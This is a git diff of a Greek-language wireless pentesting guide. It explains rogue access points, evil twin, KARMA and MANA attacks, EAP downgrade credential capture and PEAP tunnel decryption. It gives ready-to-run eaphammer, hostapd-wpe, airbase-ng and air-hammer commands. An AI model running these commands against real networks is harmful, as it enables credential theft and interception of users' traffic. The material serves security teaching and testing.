||||
|
||||
Εάν αναμένεται ότι ο πελάτης θα χρησιμοποιήσει ένα **όνομα χρήστη και κωδικό** (σημειώστε ότι **EAP-TLS δεν θα είναι έγκυρο** σε αυτή την περίπτωση), τότε μπορείτε να προσπαθήσετε να αποκτήσετε μια **λίστα** με **ονόματα χρήστη** (δείτε το επόμενο μέρος) και **κωδικούς** και να προσπαθήσετε να **σπάσετε** την πρόσβαση χρησιμοποιώντας [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
|
||||
Εάν αναμένεται ότι ο πελάτης θα χρησιμοποιήσει ένα **όνομα χρήστη και κωδικό** (σημειώστε ότι **EAP-TLS δεν θα είναι έγκυρο** σε αυτή την περίπτωση), τότε μπορείτε να προσπαθήσετε να αποκτήσετε μια **λίστα** με **ονόματα χρηστών** (δείτε το επόμενο μέρος) και **κωδικούς** και να προσπαθήσετε να **σπάσετε** την πρόσβαση χρησιμοποιώντας [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
|
||||
```bash
|
||||
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
|
||||
```
|
||||
@ -401,7 +401,7 @@ pyrit -r psk-01.cap analyze
|
||||
--password bananas \
|
||||
--user-list users.txt
|
||||
```
|
||||
## Θεωρία Επιθέσεων Πελάτη
|
||||
## Θεωρία επιθέσεων πελάτη
|
||||
|
||||
### Επιλογή Δικτύου και Περιπλάνηση
|
||||
|
||||
@ -411,24 +411,24 @@ pyrit -r psk-01.cap analyze
|
||||
|
||||
### Λίστες Προτιμώμενων Δικτύων (PNLs)
|
||||
|
||||
- Οι σταθμοί αποθηκεύουν το ESSID κάθε ασύρματου δικτύου με το οποίο συνδέονται στη Λίστα Προτιμώμενων Δικτύων τους (PNL), μαζί με λεπτομέρειες συγκεκριμένης διαμόρφωσης δικτύου.
|
||||
- Οι σταθμοί αποθηκεύουν το ESSID κάθε ασύρματου δικτύου στο οποίο συνδέονται στη Λίστα Προτιμώμενων Δικτύων τους (PNL), μαζί με λεπτομέρειες συγκεκριμένες για το δίκτυο.
|
||||
- Η PNL χρησιμοποιείται για αυτόματη σύνδεση σε γνωστά δίκτυα, βελτιώνοντας την εμπειρία του χρήστη απλοποιώντας τη διαδικασία σύνδεσης.
|
||||
|
||||
### Παθητική Σάρωση
|
||||
|
||||
- Οι APs περιοδικά εκπέμπουν beacon frames, ανακοινώνοντας την παρουσία και τα χαρακτηριστικά τους, συμπεριλαμβανομένου του ESSID του AP εκτός αν η εκπομπή είναι απενεργοποιημένη.
|
||||
- Κατά τη διάρκεια της παθητικής σάρωσης, οι σταθμοί ακούν για beacon frames. Αν το ESSID ενός beacon ταιριάζει με μια καταχώρηση στη PNL του σταθμού, ο σταθμός μπορεί να συνδεθεί αυτόματα σε αυτό το AP.
|
||||
- Οι APs περιοδικά εκπέμπουν πλαίσια beacon, ανακοινώνοντας την παρουσία και τα χαρακτηριστικά τους, συμπεριλαμβανομένου του ESSID του AP εκτός αν η εκπομπή είναι απενεργοποιημένη.
|
||||
- Κατά τη διάρκεια της παθητικής σάρωσης, οι σταθμοί ακούν για πλαίσια beacon. Αν το ESSID ενός beacon ταιριάζει με μια καταχώρηση στη PNL του σταθμού, ο σταθμός μπορεί να συνδεθεί αυτόματα σε αυτό το AP.
|
||||
- Η γνώση της PNL μιας συσκευής επιτρέπει πιθανή εκμετάλλευση μιμούμενη το ESSID ενός γνωστού δικτύου, ξεγελώντας τη συσκευή να συνδεθεί σε ένα κακόβουλο AP.
|
||||
|
||||
### Ενεργή Διερεύνηση
|
||||
|
||||
- Η ενεργή διερεύνηση περιλαμβάνει τους σταθμούς να στέλνουν αιτήματα probe για να ανακαλύψουν κοντινά APs και τα χαρακτηριστικά τους.
|
||||
- Τα κατευθυνόμενα αιτήματα probe στοχεύουν ένα συγκεκριμένο ESSID, βοηθώντας να ανιχνευθεί αν ένα συγκεκριμένο δίκτυο είναι εντός εμβέλειας, ακόμη και αν είναι κρυφό δίκτυο.
|
||||
- Τα αιτήματα probe εκπομπής έχουν ένα κενό πεδίο SSID και αποστέλλονται σε όλα τα κοντινά APs, επιτρέποντας στον σταθμό να ελέγξει για οποιοδήποτε προτιμώμενο δίκτυο χωρίς να αποκαλύψει το περιεχόμενο της PNL του.
|
||||
- Η ενεργή διερεύνηση περιλαμβάνει τους σταθμούς να στέλνουν αιτήματα διερεύνησης για να ανακαλύψουν κοντινά APs και τα χαρακτηριστικά τους.
|
||||
- Τα κατευθυνόμενα αιτήματα διερεύνησης στοχεύουν σε ένα συγκεκριμένο ESSID, βοηθώντας να ανιχνευθεί αν ένα συγκεκριμένο δίκτυο είναι εντός εμβέλειας, ακόμη και αν είναι κρυφό δίκτυο.
|
||||
- Τα αιτήματα διερεύνησης εκπομπής έχουν ένα κενό πεδίο SSID και αποστέλλονται σε όλα τα κοντινά APs, επιτρέποντας στον σταθμό να ελέγξει για οποιοδήποτε προτιμώμενο δίκτυο χωρίς να αποκαλύψει το περιεχόμενο της PNL του.
|
||||
|
||||
## Απλό AP με ανακατεύθυνση στο Διαδίκτυο
|
||||
|
||||
Πριν εξηγήσουμε πώς να εκτελέσουμε πιο σύνθετες επιθέσεις, θα εξηγηθεί **πώς** να **δημιουργήσουμε** ένα **AP** και να **ανακατευθύνουμε** την **κίνηση** του σε μια διεπαφή που είναι συνδεδεμένη **στο** **Διαδίκτυο**.
|
||||
Πριν εξηγήσουμε πώς να εκτελέσουμε πιο σύνθετες επιθέσεις, θα εξηγηθεί **πώς** να **δημιουργήσουμε** ένα **AP** και να **ανακατευθύνουμε** την **κίνηση** του σε μια διεπαφή συνδεδεμένη **στο** **Διαδίκτυο**.
|
||||
|
||||
Χρησιμοποιώντας `ifconfig -a` ελέγξτε ότι η διεπαφή wlan για τη δημιουργία του AP και η διεπαφή που είναι συνδεδεμένη στο Διαδίκτυο είναι παρούσες.
|
||||
|
||||
@ -494,17 +494,17 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
```
|
||||
## Evil Twin
|
||||
|
||||
Η επίθεση evil twin εκμεταλλεύεται τον τρόπο που οι πελάτες WiFi αναγνωρίζουν τα δίκτυα, βασιζόμενη κυρίως στο όνομα του δικτύου (ESSID) χωρίς να απαιτεί από τον σταθμό βάσης (access point) να πιστοποιήσει τον εαυτό του στον πελάτη. Σημαντικά σημεία περιλαμβάνουν:
|
||||
Μια επίθεση evil twin εκμεταλλεύεται τον τρόπο που οι πελάτες WiFi αναγνωρίζουν τα δίκτυα, βασιζόμενη κυρίως στο όνομα του δικτύου (ESSID) χωρίς να απαιτεί από τον σταθμό βάσης (access point) να πιστοποιήσει τον εαυτό του στον πελάτη. Σημαντικά σημεία περιλαμβάνουν:
|
||||
|
||||
- **Δυσκολία στη Διαφοροποίηση**: Οι συσκευές δυσκολεύονται να διακρίνουν μεταξύ νόμιμων και κακόβουλων access points όταν μοιράζονται το ίδιο ESSID και τύπο κρυπτογράφησης. Τα πραγματικά δίκτυα συχνά χρησιμοποιούν πολλαπλά access points με το ίδιο ESSID για να επεκτείνουν την κάλυψη χωρίς διακοπές.
|
||||
- **Δυσκολία στη Διαφοροποίηση**: Οι συσκευές δυσκολεύονται να διακρίνουν μεταξύ νόμιμων και κακόβουλων access points όταν μοιράζονται το ίδιο ESSID και τύπο κρυπτογράφησης. Τα πραγματικά δίκτυα συχνά χρησιμοποιούν πολλαπλά access points με το ίδιο ESSID για να επεκτείνουν την κάλυψη χωρίς διακοπή.
|
||||
- **Περιπλάνηση Πελατών και Χειρισμός Σύνδεσης**: Το πρωτόκολλο 802.11 επιτρέπει στις συσκευές να περιπλανώνται μεταξύ access points εντός του ίδιου ESS. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό το γεγονός προσελκύοντας μια συσκευή να αποσυνδεθεί από τον τρέχοντα σταθμό βάσης της και να συνδεθεί σε έναν κακόβουλο. Αυτό μπορεί να επιτευχθεί προσφέροντας ένα ισχυρότερο σήμα ή διακόπτοντας τη σύνδεση με το νόμιμο access point μέσω μεθόδων όπως τα πακέτα αποσύνδεσης ή η παρεμβολή.
|
||||
- **Προκλήσεις στην Εκτέλεση**: Η επιτυχής εκτέλεση μιας επίθεσης evil twin σε περιβάλλοντα με πολλαπλά, καλά τοποθετημένα access points μπορεί να είναι δύσκολη. Η αποσύνδεση ενός μόνο νόμιμου access point συχνά έχει ως αποτέλεσμα τη σύνδεση της συσκευής σε άλλο νόμιμο access point, εκτός αν ο επιτιθέμενος μπορεί να αποσυνδέσει όλα τα κοντινά access points ή να τοποθετήσει στρατηγικά το κακόβουλο access point.
|
||||
|
||||
Μπορείτε να δημιουργήσετε ένα πολύ βασικό Open Evil Twin (χωρίς δυνατότητες δρομολόγησης της κίνησης στο Διαδίκτυο) κάνοντας:
|
||||
Μπορείτε να δημιουργήσετε ένα πολύ βασικό Open Evil Twin (χωρίς δυνατότητες δρομολόγησης της κυκλοφορίας στο Διαδίκτυο) κάνοντας:
|
||||
```bash
|
||||
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||||
```
|
||||
Μπορείτε επίσης να δημιουργήσετε ένα Evil Twin χρησιμοποιώντας το **eaphammer** (σημειώστε ότι για να δημιουργήσετε κακούς διδύμους με το eaphammer η διεπαφή **δεν θα πρέπει να είναι** σε **λειτουργία παρακολούθησης**):
|
||||
Μπορείτε επίσης να δημιουργήσετε ένα Evil Twin χρησιμοποιώντας το **eaphammer** (σημειώστε ότι για να δημιουργήσετε κακούς διδύμους με το eaphammer, η διεπαφή **δεν πρέπει να είναι** σε **λειτουργία παρακολούθησης**):
|
||||
```bash
|
||||
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
||||
```
|
||||
@ -518,17 +518,17 @@ _Ορισμένα λειτουργικά συστήματα και AV θα πρ
|
||||
|
||||
### WPA/WPA2 Evil Twin
|
||||
|
||||
Μπορείτε να δημιουργήσετε ένα **Evil Twin χρησιμοποιώντας WPA/2** και αν οι συσκευές είναι ρυθμισμένες να συνδέονται σε αυτό το SSID με WPA/2, θα προσπαθήσουν να συνδεθούν. Ούτως ή άλλως, **για να ολοκληρωθεί το 4-way-handshake** πρέπει επίσης να **γνωρίζετε** τον **κωδικό πρόσβασης** που θα χρησιμοποιήσει ο πελάτης. Αν **δεν τον γνωρίζετε**, η **σύνδεση δεν θα ολοκληρωθεί**.
|
||||
Μπορείτε να δημιουργήσετε ένα **Evil Twin χρησιμοποιώντας WPA/2** και αν οι συσκευές έχουν ρυθμιστεί να συνδέονται σε αυτό το SSID με WPA/2, θα προσπαθήσουν να συνδεθούν. Ούτως ή άλλως, **για να ολοκληρωθεί το 4-way-handshake** πρέπει επίσης να **γνωρίζετε** τον **κωδικό πρόσβασης** που θα χρησιμοποιήσει ο πελάτης. Αν **δεν τον γνωρίζετε**, η **σύνδεση δεν θα ολοκληρωθεί**.
|
||||
```bash
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
### Enterprise Evil Twin
|
||||
|
||||
Για να κατανοήσετε αυτές τις επιθέσεις, θα συνιστούσα να διαβάσετε πρώτα την σύντομη [εξήγηση WPA Enterprise](#wpa-enterprise-mgt).
|
||||
Για να κατανοήσετε αυτές τις επιθέσεις, θα συνιστούσα να διαβάσετε πρώτα την σύντομη [WPA Enterprise explanation](#wpa-enterprise-mgt).
|
||||
|
||||
**Χρησιμοποιώντας το hostapd-wpe**
|
||||
**Using hostapd-wpe**
|
||||
|
||||
`hostapd-wpe` χρειάζεται ένα **αρχείο ρύθμισης** για να λειτουργήσει. Για να **αυτοματοποιήσετε** τη δημιουργία αυτών των ρυθμίσεων, μπορείτε να χρησιμοποιήσετε [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad) (κατεβάστε το αρχείο python μέσα στο _/etc/hostapd-wpe/_).
|
||||
`hostapd-wpe` χρειάζεται ένα **configuration** αρχείο για να λειτουργήσει. Για να **automate** τη δημιουργία αυτών των ρυθμίσεων, μπορείτε να χρησιμοποιήσετε [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad) (κατεβάστε το αρχείο python μέσα στο _/etc/hostapd-wpe/_).
|
||||
```bash
|
||||
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
||||
hostapd-wpe ./victim/victim.conf -s
|
||||
@ -545,7 +545,7 @@ hostapd-wpe ./victim/victim.conf -s
|
||||
# Launch Attack
|
||||
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
|
||||
```
|
||||
Από προεπιλογή, το EAPHammer προτείνει αυτές τις μεθόδους αυθεντικοποίησης (σημειώστε το GTC ως την πρώτη που θα προσπαθήσει να αποκτήσει κωδικούς πρόσβασης σε απλή μορφή και στη συνέχεια τη χρήση πιο ανθεκτικών μεθόδων αυθεντικοποίησης):
|
||||
Κατά προεπιλογή, το EAPHammer προτείνει αυτές τις μεθόδους αυθεντικοποίησης (σημειώστε το GTC ως την πρώτη που θα προσπαθήσει να αποκτήσει κωδικούς πρόσβασης σε απλή μορφή και στη συνέχεια τη χρήση πιο ανθεκτικών μεθόδων αυθεντικοποίησης):
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
@ -556,28 +556,28 @@ GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
Ή μπορείτε επίσης να χρησιμοποιήσετε:
|
||||
|
||||
- `--negotiate gtc-downgrade` για να χρησιμοποιήσετε μια πολύ αποδοτική υλοποίηση υποβάθμισης GTC (plaintext passwords)
|
||||
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` για να καθορίσετε χειροκίνητα τις μεθόδους που προσφέρονται (η προσφορά των ίδιων μεθόδων αυθεντικοποίησης με την ίδια σειρά όπως η οργάνωση θα κάνει την επίθεση πολύ πιο δύσκολη να ανιχνευθεί).
|
||||
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` για να καθορίσετε χειροκίνητα τις μεθόδους που προσφέρονται (προσφέροντας τις ίδιες μεθόδους αυθεντικοποίησης με την ίδια σειρά, η ανίχνευση της επίθεσης θα είναι πολύ πιο δύσκολη).
|
||||
- [Βρείτε περισσότερες πληροφορίες στη wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
|
||||
**Χρησιμοποιώντας το Airgeddon**
|
||||
|
||||
`Airgeddon` μπορεί να χρησιμοποιήσει προηγουμένως παραγόμενα πιστοποιητικά για να προσφέρει EAP αυθεντικοποίηση σε δίκτυα WPA/WPA2-Enterprise. Το ψεύτικο δίκτυο θα υποβαθμίσει το πρωτόκολλο σύνδεσης σε EAP-MD5 ώστε να μπορεί να **καταγράψει τον χρήστη και το MD5 του κωδικού πρόσβασης**. Αργότερα, ο επιτιθέμενος μπορεί να προσπαθήσει να σπάσει τον κωδικό πρόσβασης.\
|
||||
`Airgeddon` μπορεί να χρησιμοποιήσει προηγουμένως παραγόμενα πιστοποιητικά για να προσφέρει EAP αυθεντικοποίηση σε δίκτυα WPA/WPA2-Enterprise. Το ψεύτικο δίκτυο θα υποβαθμίσει το πρωτόκολλο σύνδεσης σε EAP-MD5 ώστε να μπορεί να **συλλάβει τον χρήστη και το MD5 του κωδικού πρόσβασης**. Αργότερα, ο επιτιθέμενος μπορεί να προσπαθήσει να σπάσει τον κωδικό πρόσβασης.\
|
||||
`Airgeddon` σας προσφέρει τη δυνατότητα μιας **συνεχιζόμενης επίθεσης Evil Twin (θορυβώδης)** ή **μόνο να δημιουργήσει την επίθεση Evil μέχρι να συνδεθεί κάποιος (ομαλή).**
|
||||
|
||||
.png>)
|
||||
|
||||
### Αποσφαλμάτωση PEAP και EAP-TTLS TLS tunnels σε επιθέσεις Evil Twins
|
||||
|
||||
_Αυτή η μέθοδος δοκιμάστηκε σε μια σύνδεση PEAP αλλά καθώς αποκρυπτογραφώ ένα αυθαίρετο TLS tunnel αυτό θα πρέπει επίσης να λειτουργεί με EAP-TTLS_
|
||||
_Αυτή η μέθοδος δοκιμάστηκε σε μια σύνδεση PEAP, αλλά καθώς αποκρυπτογραφώ ένα αυθαίρετο TLS tunnel, αυτό θα πρέπει επίσης να λειτουργεί με EAP-TTLS_
|
||||
|
||||
Μέσα στην **διαμόρφωση** του _hostapd-wpe_ **σχολιάστε** τη γραμμή που περιέχει το _**dh_file**_ (από `dh_file=/etc/hostapd-wpe/certs/dh` σε `#dh_file=/etc/hostapd-wpe/certs/dh`)\
|
||||
Μέσα στη **διαμόρφωση** του _hostapd-wpe_ **σχολιάστε** τη γραμμή που περιέχει το _**dh_file**_ (από `dh_file=/etc/hostapd-wpe/certs/dh` σε `#dh_file=/etc/hostapd-wpe/certs/dh`)\
|
||||
Αυτό θα κάνει το `hostapd-wpe` να **ανταλλάσσει κλειδιά χρησιμοποιώντας RSA** αντί για DH, έτσι θα μπορείτε να **αποκρυπτογραφήσετε** την κίνηση αργότερα **γνωρίζοντας το ιδιωτικό κλειδί του διακομιστή**.
|
||||
|
||||
Τώρα ξεκινήστε το **Evil Twin** χρησιμοποιώντας **`hostapd-wpe`** με αυτή τη τροποποιημένη διαμόρφωση όπως συνήθως. Επίσης, ξεκινήστε **`wireshark`** στη **διεύθυνση** που εκτελεί την επίθεση Evil Twin.
|
||||
|
||||
Τώρα ή αργότερα (όταν έχετε ήδη καταγράψει κάποιες προθέσεις αυθεντικοποίησης) μπορείτε να προσθέσετε το ιδιωτικό RSA κλειδί στο wireshark στο: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
Τώρα ή αργότερα (όταν έχετε ήδη συλλάβει κάποιες προθέσεις αυθεντικοποίησης) μπορείτε να προσθέσετε το ιδιωτικό RSA κλειδί στο wireshark στο: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
|
||||
Προσθέστε μια νέα καταχώρηση και συμπληρώστε τη φόρμα με αυτές τις τιμές: **Διεύθυνση IP = οποιαδήποτε** -- **Θύρα = 0** -- **Πρωτόκολλο = data** -- **Αρχείο Κλειδιού** (**επιλέξτε το αρχείο κλειδιού σας**, για να αποφύγετε προβλήματα επιλέξτε ένα αρχείο κλειδιού **χωρίς προστασία κωδικού πρόσβασης**).
|
||||
Προσθέστε μια νέα καταχώρηση και συμπληρώστε τη φόρμα με αυτές τις τιμές: **Διεύθυνση IP = οποιαδήποτε** -- **Θύρα = 0** -- **Πρωτόκολλο = data** -- **Αρχείο Κλειδιού** (**επιλέξτε το αρχείο κλειδιού σας**, για να αποφύγετε προβλήματα επιλέξτε ένα αρχείο κλειδιού **χωρίς προστασία με κωδικό**).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -592,13 +592,13 @@ _Αυτή η μέθοδος δοκιμάστηκε σε μια σύνδεση PE
|
||||
Διαφορετικοί τύποι Λιστών Φίλτρων Πρόσβασης Μέσων (MFACLs) και οι αντίστοιχες λειτουργίες και επιδράσεις τους στη συμπεριφορά ενός κακόβουλου Σημείου Πρόσβασης (AP):
|
||||
|
||||
1. **Λευκή Λίστα βάσει MAC**:
|
||||
- Το κακόβουλο AP θα απαντά μόνο σε αιτήματα probe από συσκευές που καθορίζονται στη λευκή λίστα, παραμένοντας αόρατο σε όλες τις άλλες που δεν αναφέρονται.
|
||||
- Το κακόβουλο AP θα απαντήσει μόνο σε αιτήματα probe από συσκευές που καθορίζονται στη λευκή λίστα, παραμένοντας αόρατο σε όλες τις άλλες που δεν αναφέρονται.
|
||||
2. **Μαύρη Λίστα βάσει MAC**:
|
||||
- Το κακόβουλο AP θα αγνοεί τα αιτήματα probe από συσκευές στη μαύρη λίστα, καθιστώντας το κακόβουλο AP αόρατο για αυτές τις συγκεκριμένες συσκευές.
|
||||
- Το κακόβουλο AP θα αγνοήσει τα αιτήματα probe από συσκευές στη μαύρη λίστα, καθιστώντας το κακόβουλο AP αόρατο για αυτές τις συγκεκριμένες συσκευές.
|
||||
3. **Λευκή Λίστα βάσει SSID**:
|
||||
- Το κακόβουλο AP θα απαντά σε αιτήματα probe μόνο για συγκεκριμένα ESSIDs που αναφέρονται, καθιστώντας το αόρατο για συσκευές των οποίων οι Λίστες Προτιμώμενων Δικτύων (PNLs) δεν περιέχουν αυτά τα ESSIDs.
|
||||
- Το κακόβουλο AP θα απαντήσει σε αιτήματα probe μόνο για συγκεκριμένα ESSIDs που αναφέρονται, καθιστώντας το αόρατο για συσκευές των οποίων οι Λίστες Προτιμώμενων Δικτύων (PNLs) δεν περιέχουν αυτά τα ESSIDs.
|
||||
4. **Μαύρη Λίστα βάσει SSID**:
|
||||
- Το κακόβουλο AP δεν θα απαντά σε αιτήματα probe για τα συγκεκριμένα ESSIDs στη μαύρη λίστα, καθιστώντας το αόρατο για συσκευές που αναζητούν αυτά τα συγκεκριμένα δίκτυα.
|
||||
- Το κακόβουλο AP δεν θα απαντήσει σε αιτήματα probe για τα συγκεκριμένα ESSIDs στη μαύρη λίστα, καθιστώντας το αόρατο για συσκευές που αναζητούν αυτά τα συγκεκριμένα δίκτυα.
|
||||
```bash
|
||||
# example EAPHammer MFACL file, wildcards can be used
|
||||
09:6a:06:c8:36:af
|
||||
@ -620,33 +620,33 @@ name3
|
||||
```
|
||||
### KARMA
|
||||
|
||||
Αυτή η μέθοδος επιτρέπει σε έναν **επιτιθέμενο να δημιουργήσει ένα κακόβουλο σημείο πρόσβασης (AP) που απαντά σε όλα τα αιτήματα ανίχνευσης** από συσκευές που επιθυμούν να συνδεθούν σε δίκτυα. Αυτή η τεχνική **παγιδεύει τις συσκευές να συνδεθούν στο AP του επιτιθέμενου** μιμούμενη τα δίκτυα που αναζητούν οι συσκευές. Μόλις μια συσκευή στείλει ένα αίτημα σύνδεσης σε αυτό το κακόβουλο AP, ολοκληρώνει τη σύνδεση, οδηγώντας τη συσκευή να συνδεθεί κατά λάθος στο δίκτυο του επιτιθέμενου.
|
||||
Αυτή η μέθοδος επιτρέπει σε έναν **επιτιθέμενο να δημιουργήσει ένα κακόβουλο σημείο πρόσβασης (AP) που απαντά σε όλα τα αιτήματα ανίχνευσης** από συσκευές που επιθυμούν να συνδεθούν σε δίκτυα. Αυτή η τεχνική **παγιδεύει τις συσκευές να συνδεθούν στο AP ενός επιτιθέμενου** μιμούμενη τα δίκτυα που αναζητούν οι συσκευές. Μόλις μια συσκευή στείλει ένα αίτημα σύνδεσης σε αυτό το κακό AP, ολοκληρώνει τη σύνδεση, οδηγώντας τη συσκευή να συνδεθεί κατά λάθος στο δίκτυο του επιτιθέμενου.
|
||||
|
||||
### MANA
|
||||
|
||||
Στη συνέχεια, **οι συσκευές άρχισαν να αγνοούν τις ανεπιθύμητες απαντήσεις δικτύου**, μειώνοντας την αποτελεσματικότητα της αρχικής επίθεσης karma. Ωστόσο, μια νέα μέθοδος, γνωστή ως **επίθεση MANA**, εισήχθη από τους Ian de Villiers και Dominic White. Αυτή η μέθοδος περιλαμβάνει το κακόβουλο AP **να καταγράφει τις Λίστες Προτιμώμενων Δικτύων (PNL) από τις συσκευές απαντώντας στα αιτήματα ανίχνευσης που εκπέμπουν** με ονόματα δικτύων (SSIDs) που είχαν ζητηθεί προηγουμένως από τις συσκευές. Αυτή η εξελιγμένη επίθεση παρακάμπτει τις προστασίες κατά της αρχικής επίθεσης karma εκμεταλλευόμενη τον τρόπο που οι συσκευές θυμούνται και ιεραρχούν τα γνωστά δίκτυα.
|
||||
Στη συνέχεια, **οι συσκευές άρχισαν να αγνοούν τις μη αξιόπιστες απαντήσεις δικτύου**, μειώνοντας την αποτελεσματικότητα της αρχικής επίθεσης karma. Ωστόσο, μια νέα μέθοδος, γνωστή ως **επίθεση MANA**, εισήχθη από τους Ian de Villiers και Dominic White. Αυτή η μέθοδος περιλαμβάνει το κακό AP **να καταγράφει τις Λίστες Προτιμώμενων Δικτύων (PNL) από τις συσκευές απαντώντας στα αιτήματα ανίχνευσης τους με ονόματα δικτύων (SSIDs) που είχαν προηγουμένως καταγραφεί από τις συσκευές**. Αυτή η εξελιγμένη επίθεση παρακάμπτει τις προστασίες κατά της αρχικής επίθεσης karma εκμεταλλευόμενη τον τρόπο που οι συσκευές θυμούνται και ιεραρχούν τα γνωστά δίκτυα.
|
||||
|
||||
Η επίθεση MANA λειτουργεί παρακολουθώντας τόσο τα κατευθυνόμενα όσο και τα εκπέμποντα αιτήματα ανίχνευσης από τις συσκευές. Για τα κατευθυνόμενα αιτήματα, καταγράφει τη διεύθυνση MAC της συσκευής και το ζητούμενο όνομα δικτύου, προσθέτοντας αυτές τις πληροφορίες σε μια λίστα. Όταν ληφθεί ένα εκπέμπον αίτημα, το AP απαντά με πληροφορίες που ταιριάζουν με οποιοδήποτε από τα δίκτυα στη λίστα της συσκευής, προσελκύοντας τη συσκευή να συνδεθεί στο κακόβουλο AP.
|
||||
Η επίθεση MANA λειτουργεί παρακολουθώντας τόσο τα κατευθυνόμενα όσο και τα αιτήματα ανίχνευσης εκπομπής από τις συσκευές. Για τα κατευθυνόμενα αιτήματα, καταγράφει τη διεύθυνση MAC της συσκευής και το ζητούμενο όνομα δικτύου, προσθέτοντας αυτές τις πληροφορίες σε μια λίστα. Όταν ληφθεί ένα αίτημα εκπομπής, το AP απαντά με πληροφορίες που ταιριάζουν με οποιοδήποτε από τα δίκτυα στη λίστα της συσκευής, προσελκύοντας τη συσκευή να συνδεθεί στο κακό AP.
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Loud MANA
|
||||
|
||||
Μια **Loud MANA επίθεση** είναι μια προηγμένη στρατηγική για όταν οι συσκευές δεν χρησιμοποιούν κατευθυνόμενη αναζήτηση ή όταν οι Λίστες Προτιμώμενων Δικτύων (PNL) τους είναι άγνωστες στον επιτιθέμενο. Λειτουργεί με την αρχή ότι **οι συσκευές στην ίδια περιοχή είναι πιθανό να μοιράζονται ορισμένα ονόματα δικτύων στις PNL τους**. Αντί να απαντούν επιλεκτικά, αυτή η επίθεση εκπέμπει απαντήσεις αναζήτησης για κάθε όνομα δικτύου (ESSID) που βρέθηκε στις συνδυασμένες PNL όλων των παρατηρούμενων συσκευών. Αυτή η ευρεία προσέγγιση αυξάνει την πιθανότητα μια συσκευή να αναγνωρίσει ένα οικείο δίκτυο και να προσπαθήσει να συνδεθεί με το κακόβουλο Access Point (AP).
|
||||
Μια **Loud MANA επίθεση** είναι μια προηγμένη στρατηγική για περιπτώσεις που οι συσκευές δεν χρησιμοποιούν κατευθυνόμενη αναζήτηση ή όταν οι Λίστες Προτιμώμενων Δικτύων (PNL) τους είναι άγνωστες στον επιτιθέμενο. Λειτουργεί με την αρχή ότι **οι συσκευές στην ίδια περιοχή είναι πιθανό να μοιράζονται ορισμένα ονόματα δικτύων στις PNL τους**. Αντί να απαντούν επιλεκτικά, αυτή η επίθεση εκπέμπει απαντήσεις αναζήτησης για κάθε όνομα δικτύου (ESSID) που βρέθηκε στις συνδυασμένες PNL όλων των παρατηρούμενων συσκευών. Αυτή η ευρεία προσέγγιση αυξάνει την πιθανότητα μια συσκευή να αναγνωρίσει ένα οικείο δίκτυο και να προσπαθήσει να συνδεθεί με το κακόβουλο Access Point (AP).
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Known Beacon attack
|
||||
|
||||
Όταν η **Loud MANA attack** μπορεί να μην είναι επαρκής, η **Known Beacon attack** προσφέρει μια άλλη προσέγγιση. Αυτή η μέθοδος **brute-forces τη διαδικασία σύνδεσης προσομοιώνοντας ένα AP που απαντά σε οποιοδήποτε όνομα δικτύου, κυκλώνοντας μια λίστα πιθανών ESSIDs** που προέρχονται από μια λίστα λέξεων. Αυτό προσομοιώνει την παρουσία πολλών δικτύων, ελπίζοντας να ταιριάξει ένα ESSID μέσα στην PNL του θύματος, προκαλώντας μια απόπειρα σύνδεσης στο κατασκευασμένο AP. Η επίθεση μπορεί να ενισχυθεί συνδυάζοντας την με την επιλογή `--loud` για μια πιο επιθετική απόπειρα να παγιδεύσει συσκευές.
|
||||
Όταν η **Loud MANA attack** μπορεί να μην είναι επαρκής, η **Known Beacon attack** παρουσιάζει μια άλλη προσέγγιση. Αυτή η μέθοδος **σπάει τη διαδικασία σύνδεσης προσομοιώνοντας ένα AP που απαντά σε οποιοδήποτε όνομα δικτύου, κυκλώνοντας μια λίστα πιθανών ESSIDs** που προέρχονται από μια λίστα λέξεων. Αυτό προσομοιώνει την παρουσία πολλών δικτύων, ελπίζοντας να ταιριάξει ένα ESSID μέσα στην PNL του θύματος, προκαλώντας μια προσπάθεια σύνδεσης στο κατασκευασμένο AP. Η επίθεση μπορεί να ενισχυθεί συνδυάζοντας την με την επιλογή `--loud` για μια πιο επιθετική προσπάθεια να παγιδεύσει συσκευές.
|
||||
|
||||
Το Eaphammer υλοποίησε αυτή την επίθεση ως MANA attack όπου όλα τα ESSIDs μέσα σε μια λίστα είναι φορτισμένα (μπορείτε επίσης να το συνδυάσετε με `--loud` για να δημιουργήσετε μια Loud MANA + Known beacons attack):
|
||||
